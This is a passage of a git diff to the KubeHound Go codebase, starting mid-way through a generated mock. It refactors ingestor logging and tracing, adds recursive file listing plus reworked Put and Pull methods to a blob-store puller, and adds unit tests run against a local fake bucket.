+} + +// Ingest provides a mock function with given fields: ctx, clusterName, runID +func (_m *API) Ingest(ctx context.Context, clusterName string, runID string) error { + ret := _m.Called(ctx, clusterName, runID) + + var r0 error + if rf, ok := ret.Get(0).(func(context.Context, string, string) error); ok { + r0 = rf(ctx, clusterName, runID) + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// API_Ingest_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'Ingest' +type API_Ingest_Call struct { + *mock.Call +} + +// Ingest is a helper method to define mock.On call +// - ctx context.Context +// - clusterName string +// - runID string +func (_e *API_Expecter) Ingest(ctx interface{}, clusterName interface{}, runID interface{}) *API_Ingest_Call { + return &API_Ingest_Call{Call: _e.mock.On("Ingest", ctx, clusterName, runID)} +} + +func (_c *API_Ingest_Call) Run(run func(ctx context.Context, clusterName string, runID string)) *API_Ingest_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(string), args[2].(string)) + }) + return _c +} + +func (_c *API_Ingest_Call) Return(_a0 error) *API_Ingest_Call { + _c.Call.Return(_a0) + return _c +} + +func (_c *API_Ingest_Call) RunAndReturn(run func(context.Context, string, string) error) *API_Ingest_Call { + _c.Call.Return(run) + return _c +} + +// Notify provides a mock function with given fields: ctx, clusterName, runID +func (_m *API) Notify(ctx context.Context, clusterName string, runID string) error { + ret := _m.Called(ctx, clusterName, runID) + + var r0 error + if rf, ok := ret.Get(0).(func(context.Context, string, string) error); ok { + r0 = rf(ctx, clusterName, runID) + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// API_Notify_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'Notify' +type API_Notify_Call struct { + *mock.Call +} + +// Notify is a helper method to define mock.On call +// - ctx context.Context +// - clusterName string +// - runID string +func (_e *API_Expecter) Notify(ctx interface{}, clusterName interface{}, runID interface{}) *API_Notify_Call { + return &API_Notify_Call{Call: _e.mock.On("Notify", ctx, clusterName, runID)} +} + +func (_c *API_Notify_Call) Run(run func(ctx context.Context, clusterName string, runID string)) *API_Notify_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(string), args[2].(string)) + }) + return _c +} + +func (_c *API_Notify_Call) Return(_a0 error) *API_Notify_Call { + _c.Call.Return(_a0) + return _c +} + +func (_c *API_Notify_Call) RunAndReturn(run func(context.Context, string, string) error) *API_Notify_Call { + _c.Call.Return(run) + return _c +} + +// isAlreadyIngestedInGraph provides a mock function with given fields: ctx, clusterName, runID +func (_m *API) isAlreadyIngestedInGraph(ctx context.Context, clusterName string, runID string) (bool, error) { + ret := _m.Called(ctx, clusterName, runID) + + var r0 bool + var r1 error + if rf, ok := ret.Get(0).(func(context.Context, string, string) (bool, error)); ok { + return rf(ctx, clusterName, runID) + } + if rf, ok := ret.Get(0).(func(context.Context, string, string) bool); ok { + r0 = rf(ctx, clusterName, runID) + } else { + r0 = ret.Get(0).(bool) + } + + if rf, ok := ret.Get(1).(func(context.Context, string, string) error); ok { + r1 = rf(ctx, clusterName, runID) + } else { + r1 = ret.Error(1) + } + + return r0, r1 +} + +// API_isAlreadyIngestedInGraph_Call is a *mock.Call that shadows Run/Return methods with type explicit version for method 'isAlreadyIngestedInGraph' +type API_isAlreadyIngestedInGraph_Call struct { + *mock.Call +} + +// isAlreadyIngestedInGraph is a helper method to define mock.On call +// - ctx context.Context +// - clusterName string +// - runID string +func (_e *API_Expecter) isAlreadyIngestedInGraph(ctx interface{}, clusterName interface{}, runID interface{}) *API_isAlreadyIngestedInGraph_Call { + return &API_isAlreadyIngestedInGraph_Call{Call: _e.mock.On("isAlreadyIngestedInGraph", ctx, clusterName, runID)} +} + +func (_c *API_isAlreadyIngestedInGraph_Call) Run(run func(ctx context.Context, clusterName string, runID string)) *API_isAlreadyIngestedInGraph_Call { + _c.Call.Run(func(args mock.Arguments) { + run(args[0].(context.Context), args[1].(string), args[2].(string)) + }) + return _c +} + +func (_c *API_isAlreadyIngestedInGraph_Call) Return(_a0 bool, _a1 error) *API_isAlreadyIngestedInGraph_Call { + _c.Call.Return(_a0, _a1) + return _c +} + +func (_c *API_isAlreadyIngestedInGraph_Call) RunAndReturn(run func(context.Context, string, string) (bool, error)) *API_isAlreadyIngestedInGraph_Call { + _c.Call.Return(run) + return _c +} + +type mockConstructorTestingTNewAPI interface { + mock.TestingT + Cleanup(func()) +} + +// NewAPI creates a new instance of API. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. +func NewAPI(t mockConstructorTestingTNewAPI) *API { + mock := &API{} + mock.Mock.Test(t) + + t.Cleanup(func() { mock.AssertExpectations(t) }) + + return mock +} diff --git a/pkg/ingestor/ingestor.go b/pkg/ingestor/ingestor.go index 46d113864..7a652b004 100644 --- a/pkg/ingestor/ingestor.go +++ b/pkg/ingestor/ingestor.go @@ -18,30 +18,31 @@ import ( func IngestData(ctx context.Context, cfg *config.KubehoundConfig, collect collector.CollectorClient, cache cache.CacheProvider, storedb storedb.Provider, graphdb graphdb.Provider) error { + l := log.Logger(ctx) start := time.Now() - span, ctx := tracer.StartSpanFromContext(ctx, span.IngestData, tracer.Measured()) + span, ctx := span.SpanRunFromContext(ctx, span.IngestData) var err error defer func() { span.Finish(tracer.WithError(err)) }() - log.I.Info("Loading data ingestor") + l.Info("Loading data ingestor") ingest, err := ingestor.Factory(cfg, collect, cache, storedb, graphdb) if err != nil { return fmt.Errorf("ingestor creation: %w", err) } defer ingest.Close(ctx) - log.I.Info("Running dependency health checks") + l.Info("Running deependency health checks") if err := ingest.HealthCheck(ctx); err != nil { return fmt.Errorf("ingestor dependency health check: %w", err) } - log.I.Info("Running data ingest and normalization") + l.Info("Running data ingest and normalization") if err := ingest.Run(ctx); err != nil { return fmt.Errorf("ingest: %w", err) } - log.I.Infof("Completed data ingest and normalization in %s", time.Since(start)) + l.Info("Completed data ingest and normalization", log.Duration("time", time.Since(start))) return nil } diff --git a/pkg/ingestor/notifier/mocks/notifier.go b/pkg/ingestor/notifier/mocks/notifier.go index 51f61b64f..39b33a1bb 100644 --- a/pkg/ingestor/notifier/mocks/notifier.go +++ b/pkg/ingestor/notifier/mocks/notifier.go @@ -1,4 +1,4 @@ -// Code generated by mockery v2.33.1. DO NOT EDIT. +// Code generated by mockery v2.20.0. DO NOT EDIT. package mocks @@ -65,12 +65,13 @@ func (_c *Notifier_Notify_Call) RunAndReturn(run func(context.Context, string, s return _c } -// NewNotifier creates a new instance of Notifier. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. -// The first argument is typically a *testing.T value. -func NewNotifier(t interface { +type mockConstructorTestingTNewNotifier interface { mock.TestingT Cleanup(func()) -}) *Notifier { +} + +// NewNotifier creates a new instance of Notifier. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. +func NewNotifier(t mockConstructorTestingTNewNotifier) *Notifier { mock := &Notifier{} mock.Mock.Test(t) diff --git a/pkg/ingestor/notifier/noop/noop.go b/pkg/ingestor/notifier/noop/noop.go index 6403e9241..5c61eee35 100644 --- a/pkg/ingestor/notifier/noop/noop.go +++ b/pkg/ingestor/notifier/noop/noop.go @@ -14,7 +14,8 @@ func NewNoopNotifier() notifier.Notifier { } func (n *NoopNotifier) Notify(ctx context.Context, clusterName string, runID string) error { - log.I.Warnf("Noop Notifying for cluster %s and run ID %s", clusterName, runID) + l := log.Logger(ctx) + l.Warn("Noop Notifying for cluster and run ID", log.String(log.FieldClusterKey, clusterName), log.String(log.FieldRunIDKey, runID)) return nil } diff --git a/pkg/ingestor/puller/blob/blob.go b/pkg/ingestor/puller/blob/blob.go index fa6ba1155..808602a5d 100644 --- a/pkg/ingestor/puller/blob/blob.go +++ b/pkg/ingestor/puller/blob/blob.go @@ -5,13 +5,13 @@ import ( "context" "errors" "fmt" + "io" "net/url" "os" "path/filepath" "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/dump" - "github.com/DataDog/KubeHound/pkg/dump/writer" "github.com/DataDog/KubeHound/pkg/ingestor/puller" "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/span" @@ -21,7 +21,10 @@ import ( _ "gocloud.dev/blob/azureblob" _ "gocloud.dev/blob/fileblob" _ "gocloud.dev/blob/gcsblob" + _ "gocloud.dev/blob/memblob" "gocloud.dev/blob/s3blob" + "gopkg.in/DataDog/dd-trace-go.v1/ddtrace" + "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) @@ -38,32 +41,31 @@ type BlobStore struct { var _ puller.DataPuller = (*BlobStore)(nil) func NewBlobStorage(cfg *config.KubehoundConfig, blobConfig *config.BlobConfig) (*BlobStore, error) { - if blobConfig.Bucket == "" { + if blobConfig.BucketUrl == "" { return nil, ErrInvalidBucketName } return &BlobStore{ - bucketName: blobConfig.Bucket, + bucketName: blobConfig.BucketUrl, cfg: cfg, region: blobConfig.Region, }, nil } -func getKeyPath(clusterName, runID string) string { - return fmt.Sprintf("%s%s", dump.DumpIngestorResultName(clusterName, runID), writer.TarWriterExtension) -} - func (bs *BlobStore) openBucket(ctx context.Context) (*blob.Bucket, error) { + l := log.Logger(ctx) + l.Info("Opening bucket", log.String("bucket_name", bs.bucketName)) + urlStruct, err := url.Parse(bs.bucketName) if err != nil { return nil, err } - cloudPrefix, bucketName := urlStruct.Scheme, urlStruct.Host var bucket *blob.Bucket switch cloudPrefix { case "file": - bucket, err = blob.OpenBucket(ctx, cloudPrefix+":///"+bucketName) + // url Parse not working for local files, using raw name file:///path/to/dir + bucket, err = blob.OpenBucket(ctx, bs.bucketName) case "wasbs": // AZURE_STORAGE_ACCOUNT env is set in conf/k8s bucketName = urlStruct.User.Username() @@ -96,30 +98,76 @@ func (bs *BlobStore) openBucket(ctx context.Context) (*blob.Bucket, error) { return bucket, nil } +func (bs *BlobStore) listFiles(ctx context.Context, b *blob.Bucket, prefix string, recursive bool, listObjects []*puller.ListObject) ([]*puller.ListObject, error) { + iter := b.List(&blob.ListOptions{ + Delimiter: "/", + Prefix: prefix, + }) + for { + obj, err := iter.Next(ctx) + if errors.Is(err, io.EOF) { + break + } + if err != nil { + return nil, fmt.Errorf("listing objects: %w", err) + } + + if obj.IsDir && recursive { + listObjects, _ = bs.listFiles(ctx, b, obj.Key, true, listObjects) + } + listObjects = append(listObjects, &puller.ListObject{ + Key: obj.Key, + ModTime: obj.ModTime, + }) + } + + return listObjects, nil +} + +func (bs *BlobStore) ListFiles(ctx context.Context, prefix string, recursive bool) ([]*puller.ListObject, error) { + b, err := bs.openBucket(ctx) + if err != nil { + return nil, err + } + listObjects := []*puller.ListObject{} + + return bs.listFiles(ctx, b, prefix, recursive, listObjects) +} + // Pull pulls the data from the blob store (e.g: s3) and returns the path of the folder containing the archive func (bs *BlobStore) Put(outer context.Context, archivePath string, clusterName string, runID string) error { - log.I.Infof("Pulling data from blob store bucket %s, %s, %s", bs.bucketName, clusterName, runID) - spanPut, ctx := span.SpanIngestRunFromContext(outer, span.IngestorBlobPull) + l := log.Logger(outer) var err error - defer func() { spanPut.Finish(tracer.WithError(err)) }() - key := getKeyPath(clusterName, runID) - log.I.Infof("Downloading archive (%s) from blob store", key) - b, err := bs.openBucket(ctx) + // Triggering a span only when it is an actual run and not the rehydration process (download the kubehound dump to get the metadata) + if log.GetRunIDFromContext(outer) != "" { + var spanPut ddtrace.Span + spanPut, outer = span.SpanRunFromContext(outer, span.IngestorBlobPull) + defer func() { spanPut.Finish(tracer.WithError(err)) }() + } + l.Info("Putting data on blob store bucket", log.String("bucket_name", bs.bucketName), log.String(log.FieldClusterKey, clusterName), log.String(log.FieldRunIDKey, runID)) + + dumpResult, err := dump.NewDumpResult(clusterName, runID, true) + if err != nil { + return err + } + key := dumpResult.GetFullPath() + l.Info("Opening bucket", log.String("bucket_name", bs.bucketName)) + b, err := bs.openBucket(outer) if err != nil { return err } defer b.Close() - log.I.Infof("Opening archive file %s", archivePath) + l.Info("Opening archive file", log.String(log.FieldPathKey, archivePath)) f, err := os.Open(archivePath) if err != nil { return err } defer f.Close() - log.I.Infof("Downloading archive (%q) from blob store", key) + l.Info("Uploading archive from blob store", log.String("key", key)) w := bufio.NewReader(f) - err = b.Upload(ctx, key, w, &blob.WriterOptions{ + err = b.Upload(outer, key, w, &blob.WriterOptions{ ContentType: "application/gzip", }) if err != nil { @@ -135,15 +183,17 @@ func (bs *BlobStore) Put(outer context.Context, archivePath string, clusterName } // Pull pulls the data from the blob store (e.g: s3) and returns the path of the folder containing the archive -func (bs *BlobStore) Pull(outer context.Context, clusterName string, runID string) (string, error) { - log.I.Infof("Pulling data from blob store bucket %s, %s, %s", bs.bucketName, clusterName, runID) - spanPull, ctx := span.SpanIngestRunFromContext(outer, span.IngestorBlobPull) +func (bs *BlobStore) Pull(outer context.Context, key string) (string, error) { + l := log.Logger(outer) var err error - defer func() { spanPull.Finish(tracer.WithError(err)) }() + if log.GetRunIDFromContext(outer) != "" { + var spanPull ddtrace.Span + spanPull, outer = span.SpanRunFromContext(outer, span.IngestorBlobPull) + defer func() { spanPull.Finish(tracer.WithError(err)) }() + } + l.Info("Pulling data from blob store bucket", log.String("bucket_name", bs.bucketName), log.String("key", key)) - key := getKeyPath(clusterName, runID) - log.I.Infof("Downloading archive (%s) from blob store", key) - b, err := bs.openBucket(ctx) + b, err := bs.openBucket(outer) if err != nil { return "", err } @@ -159,7 +209,7 @@ func (bs *BlobStore) Pull(outer context.Context, clusterName string, runID strin return dirname, err } - log.I.Infof("Created temporary directory %s", dirname) + l.Info("Created temporary directory", log.String(log.FieldPathKey, dirname)) archivePath := filepath.Join(dirname, config.DefaultArchiveName) f, err := os.Create(archivePath) if err != nil { @@ -167,9 +217,9 @@ func (bs *BlobStore) Pull(outer context.Context, clusterName string, runID strin } defer f.Close() - log.I.Infof("Downloading archive (%q) from blob store", key) + l.Info("Downloading archive from blob store", log.String("key", key)) w := bufio.NewWriter(f) - err = b.Download(ctx, key, w, nil) + err = b.Download(outer, key, w, nil) if err != nil { return archivePath, err } @@ -183,17 +233,21 @@ func (bs *BlobStore) Pull(outer context.Context, clusterName string, runID strin } func (bs *BlobStore) Extract(ctx context.Context, archivePath string) error { - spanExtract, _ := span.SpanIngestRunFromContext(ctx, span.IngestorBlobExtract) var err error - defer func() { spanExtract.Finish(tracer.WithError(err)) }() + if log.GetRunIDFromContext(ctx) != "" { + var spanPull ddtrace.Span + spanPull, ctx = span.SpanRunFromContext(ctx, span.IngestorBlobExtract) + defer func() { spanPull.Finish(tracer.WithError(err)) }() + } basePath := filepath.Dir(archivePath) - err = puller.CheckSanePath(archivePath, bs.cfg.Ingestor.TempDir) + err = puller.CheckSanePath(archivePath, basePath) if err != nil { return fmt.Errorf("Dangerous file path used during extraction, aborting: %w", err) } - err = puller.ExtractTarGz(archivePath, basePath, bs.cfg.Ingestor.MaxArchiveSize) + dryRun := false + err = puller.ExtractTarGz(ctx, dryRun, archivePath, basePath, bs.cfg.Ingestor.MaxArchiveSize) if err != nil { return err } @@ -204,11 +258,14 @@ func (bs *BlobStore) Extract(ctx context.Context, archivePath string) error { // Once downloaded and processed, we should cleanup the disk so we can reduce the disk usage // required for large infrastructure func (bs *BlobStore) Close(ctx context.Context, archivePath string) error { - spanClose, _ := span.SpanIngestRunFromContext(ctx, span.IngestorBlobClose) var err error - defer func() { spanClose.Finish(tracer.WithError(err)) }() + if log.GetRunIDFromContext(ctx) != "" { + var spanClose ddtrace.Span + spanClose, _ = span.SpanRunFromContext(ctx, span.IngestorBlobClose) + defer func() { spanClose.Finish(tracer.WithError(err)) }() + } - path := filepath.Base(archivePath) + path := filepath.Dir(archivePath) err = puller.CheckSanePath(archivePath, bs.cfg.Ingestor.TempDir) if err != nil { return fmt.Errorf("Dangerous file path used while closing, aborting: %w", err) diff --git a/pkg/ingestor/puller/blob/blob_test.go b/pkg/ingestor/puller/blob/blob_test.go new file mode 100644 index 000000000..55004725f --- /dev/null +++ b/pkg/ingestor/puller/blob/blob_test.go @@ -0,0 +1,527 @@ +package blob + +import ( + "context" + "fmt" + "os" + "path" + "reflect" + "regexp" + "testing" + "time" + + "github.com/DataDog/KubeHound/pkg/config" + "github.com/DataDog/KubeHound/pkg/dump" + "github.com/DataDog/KubeHound/pkg/ingestor/puller" + _ "gocloud.dev/blob/azureblob" + _ "gocloud.dev/blob/fileblob" + _ "gocloud.dev/blob/gcsblob" + _ "gocloud.dev/blob/memblob" +) + +const ( + bucketName = "file://./testdata/fakeBlobStorage" + tempFileRegexp = `.*/testdata/tmpdir/kh-[0-9]+/archive.tar.gz` + validRunID = "01j2qs8th6yarr5hkafysekn0j" + validClusterName = "cluster1.k8s.local" +) + +func getTempDir(t *testing.T) string { + t.Helper() + + return getAbsPath(t, "testdata/tmpdir") +} + +func getAbsPath(t *testing.T, filepath string) string { + t.Helper() + // Get current working directory to pass SaneCheckPath() + pwd, err := os.Getwd() + if err != nil { + t.Errorf("Error getting current working directory: %v", err) + + return "" + } + + return path.Join(pwd, filepath) +} + +func dummyKubehoundConfig(t *testing.T) *config.KubehoundConfig { + t.Helper() + + return &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{ + TempDir: getTempDir(t), + }, + } +} + +func TestBlobStore_ListFiles(t *testing.T) { + t.Parallel() + type fields struct { + bucketName string + cfg *config.KubehoundConfig + region string + } + type args struct { + prefix string + recursive bool + } + tests := []struct { + name string + fields fields + args args + want []*puller.ListObject + wantErr bool + }{ + { + name: "Sanitize path", + fields: fields{ + bucketName: bucketName, + }, + args: args{ + recursive: true, + prefix: "", + }, + want: []*puller.ListObject{ + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_21j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/", + }, + { + Key: "cluster2.k8s.local/kubehound_cluster2.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster2.k8s.local/kubehound_cluster2.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster2.k8s.local/", + }, + }, + wantErr: false, + }, + { + name: "Sanitize path", + fields: fields{ + bucketName: bucketName, + }, + args: args{ + recursive: true, + prefix: "cluster1.k8s.local", + }, + want: []*puller.ListObject{ + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_21j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/", + }, + }, + wantErr: false, + }, + { + name: "Sanitize path", + fields: fields{ + bucketName: bucketName, + }, + args: args{ + recursive: true, + prefix: "cluster1.k8s.local/", + }, + want: []*puller.ListObject{ + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + { + Key: "cluster1.k8s.local/kubehound_cluster1.k8s.local_21j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + }, + wantErr: false, + }, + { + name: "Sanitize path", + fields: fields{ + bucketName: bucketName, + }, + args: args{ + recursive: false, + prefix: "", + }, + want: []*puller.ListObject{ + { + Key: "cluster1.k8s.local/", + }, + { + Key: "cluster2.k8s.local/", + }, + }, + wantErr: false, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctx := context.Background() + bs := &BlobStore{ + bucketName: tt.fields.bucketName, + cfg: tt.fields.cfg, + region: tt.fields.region, + } + got, err := bs.ListFiles(ctx, tt.args.prefix, tt.args.recursive) + if (err != nil) != tt.wantErr { + t.Errorf("BlobStore.ListFiles() error = %v, wantErr %v", err, tt.wantErr) + + return + } + + // Reset modtime to avoid comparison issues + for _, v := range got { + v.ModTime = time.Time{} + } + + if !reflect.DeepEqual(got, tt.want) { + for i, v := range got { + t.Logf("Got: %d: %s", i, v.Key) + } + t.Errorf("BlobStore.ListFiles() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestBlobStore_Pull(t *testing.T) { + t.Parallel() + + // Get current working directory to pass SaneCheckPath() + pwd, err := os.Getwd() + if err != nil { + t.Errorf("Error getting current working directory: %v", err) + + return + } + tmpDir := path.Join(pwd, "testdata/tmpdir") + type fields struct { + bucketName string + cfg *config.KubehoundConfig + region string + } + type args struct { + clusterName string + runID string + } + tests := []struct { + name string + fields fields + args args + wantErr bool + }{ + { + name: "Pulling file successfully", + fields: fields{ + bucketName: bucketName, + cfg: &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{ + TempDir: tmpDir, + }, + }, + }, + args: args{ + clusterName: validClusterName, + runID: validRunID, + }, + wantErr: false, + }, + { + name: "Empty tmp dir", + fields: fields{ + bucketName: bucketName, + cfg: &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{}, + }, + }, + args: args{ + clusterName: validClusterName, + runID: validRunID, + }, + wantErr: true, + }, + { + name: "Wrong cluster name", + fields: fields{ + bucketName: bucketName, + cfg: &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{ + TempDir: tmpDir, + }, + }, + }, + args: args{ + clusterName: "cluster4.k8s.local", + runID: validRunID, + }, + wantErr: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctx := context.Background() + bs := &BlobStore{ + bucketName: tt.fields.bucketName, + cfg: tt.fields.cfg, + region: tt.fields.region, + } + dumpResult, err := dump.NewDumpResult(tt.args.clusterName, tt.args.runID, true) + if err != nil { + t.Errorf("dump.NewDumpResult() error = %v, wantErr %v", err, tt.wantErr) + + return + } + key := dumpResult.GetFullPath() + got, err := bs.Pull(ctx, key) + if (err != nil) != tt.wantErr { + t.Errorf("BlobStore.Pull() error = %v, wantErr %v", err, tt.wantErr) + + return + } + + // No path was returned so no need to go further + if got == "" { + return + } + + re := regexp.MustCompile(tempFileRegexp) + if !re.MatchString(got) { + t.Errorf("Path is not valid() = %q, should respect %v", got, tempFileRegexp) + + return + } + + err = bs.Close(ctx, got) + if err != nil { + t.Errorf("bs.Close() error = %v", err) + } + }) + } +} + +func TestNewBlobStorage(t *testing.T) { + t.Parallel() + type args struct { + cfg *config.KubehoundConfig + blobConfig *config.BlobConfig + } + tests := []struct { + name string + args args + want *BlobStore + wantErr bool + }{ + { + name: "empty bucket name", + args: args{ + blobConfig: &config.BlobConfig{ + BucketUrl: "", + }, + cfg: &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{ + TempDir: getTempDir(t), + }, + }, + }, + wantErr: true, + }, + { + name: "valid blob storage", + args: args{ + blobConfig: &config.BlobConfig{ + BucketUrl: "fakeBlobStorage", + }, + cfg: &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{ + TempDir: getTempDir(t), + }, + }, + }, + want: &BlobStore{ + bucketName: "fakeBlobStorage", + cfg: &config.KubehoundConfig{ + Ingestor: config.IngestorConfig{ + TempDir: getTempDir(t), + }, + }, + region: "", + }, + wantErr: false, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + got, err := NewBlobStorage(tt.args.cfg, tt.args.blobConfig) + if (err != nil) != tt.wantErr { + t.Errorf("NewBlobStorage() error = %v, wantErr %v", err, tt.wantErr) + + return + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("NewBlobStorage() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestBlobStore_Put(t *testing.T) { + t.Parallel() + fakeBlobStoragePut := "./testdata/fakeBlobStoragePut" + bucketNamePut := fmt.Sprintf("file://%s", fakeBlobStoragePut) + type fields struct { + bucketName string + cfg *config.KubehoundConfig + region string + } + type args struct { + archivePath string + clusterName string + runID string + } + tests := []struct { + name string + fields fields + args args + wantErr bool + }{ + { + name: "Push new dump", + fields: fields{ + bucketName: bucketNamePut, + cfg: dummyKubehoundConfig(t), + }, + args: args{ + archivePath: "./testdata/archive.tar.gz", + clusterName: validClusterName, + runID: "91j2qs8th6yarr5hkafysekn0j", + }, + wantErr: false, + }, + { + name: "non existing filepath", + fields: fields{ + bucketName: bucketNamePut, + cfg: dummyKubehoundConfig(t), + }, + args: args{ + archivePath: "./testdata/archive2.tar.gz", + clusterName: validClusterName, + runID: "91j2qs8th6yarr5hkafysekn0j", + }, + wantErr: true, + }, + { + name: "invalid runID", + fields: fields{ + bucketName: bucketNamePut, + cfg: dummyKubehoundConfig(t), + }, + args: args{ + archivePath: "./testdata/archive2.tar.gz", + clusterName: validClusterName, + runID: "91j2qs8th6yarr5hkafysekn0T", + }, + wantErr: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctx := context.Background() + bs := &BlobStore{ + bucketName: tt.fields.bucketName, + cfg: tt.fields.cfg, + region: tt.fields.region, + } + var err error + if err = bs.Put(ctx, tt.args.archivePath, tt.args.clusterName, tt.args.runID); (err != nil) != tt.wantErr { + t.Errorf("BlobStore.Put() error = %v, wantErr %v", err, tt.wantErr) + } + + if err != nil { + return + } + + // Building result path to clean up + dumpResult, err := dump.NewDumpResult(tt.args.clusterName, tt.args.runID, true) + if err != nil { + t.Errorf("NewDumpResult cluster:%s runID:%s", tt.args.clusterName, tt.args.runID) + } + key := path.Join(bs.cfg.Ingestor.TempDir, dumpResult.GetFullPath()) + + err = os.RemoveAll(path.Join(fakeBlobStoragePut, tt.args.clusterName)) + if err != nil { + t.Errorf("Error removing file %s.attrs: %v", key, err) + } + }) + } +} + +func TestBlobStore_Extract(t *testing.T) { + t.Parallel() + fakeBlobStoragePut := "./testdata/fakeBlobStorageExtract" + bucketNameExtract := fmt.Sprintf("file://%s", fakeBlobStoragePut) + type fields struct { + bucketName string + cfg *config.KubehoundConfig + region string + } + type args struct { + archivePath string + } + tests := []struct { + name string + fields fields + args args + wantErr bool + }{ + { + name: "invalid runID", + fields: fields{ + bucketName: bucketNameExtract, + cfg: dummyKubehoundConfig(t), + }, + args: args{ + archivePath: getAbsPath(t, "testdata/archive.tar.gz"), + }, + wantErr: false, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + ctx := context.Background() + bs := &BlobStore{ + bucketName: tt.fields.bucketName, + cfg: tt.fields.cfg, + region: tt.fields.region, + } + if err := bs.Extract(ctx, tt.args.archivePath); (err != nil) != tt.wantErr { + t.Errorf("BlobStore.Extract() error = %v, wantErr %v", err, tt.wantErr) + } + }) + } +} diff --git a/pkg/ingestor/puller/blob/testdata/archive.tar.gz b/pkg/ingestor/puller/blob/testdata/archive.tar.gz new file mode 100644 index 000000000..5b159e310 Binary files /dev/null and b/pkg/ingestor/puller/blob/testdata/archive.tar.gz differ diff --git a/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz new file mode 100644 index 000000000..5b159e310 Binary files /dev/null and b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz differ diff --git a/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz new file mode 100644 index 000000000..5b159e310 Binary files /dev/null and b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz differ diff --git a/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_21j2qs8th6yarr5hkafysekn0j.tar.gz b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_21j2qs8th6yarr5hkafysekn0j.tar.gz new file mode 100644 index 000000000..5b159e310 Binary files /dev/null and b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster1.k8s.local/kubehound_cluster1.k8s.local_21j2qs8th6yarr5hkafysekn0j.tar.gz differ diff --git a/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster2.k8s.local/kubehound_cluster2.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster2.k8s.local/kubehound_cluster2.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz new file mode 100644 index 000000000..5b159e310 Binary files /dev/null and b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster2.k8s.local/kubehound_cluster2.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz differ diff --git a/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster2.k8s.local/kubehound_cluster2.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz b/pkg/ingestor/puller/blob/testdata/fakeBlobStorage/cluster2.k8s.local/kubehound_cluster2.k8s.local_11j2qs8th6yarr5hkafysekn0j.tar.gz new file 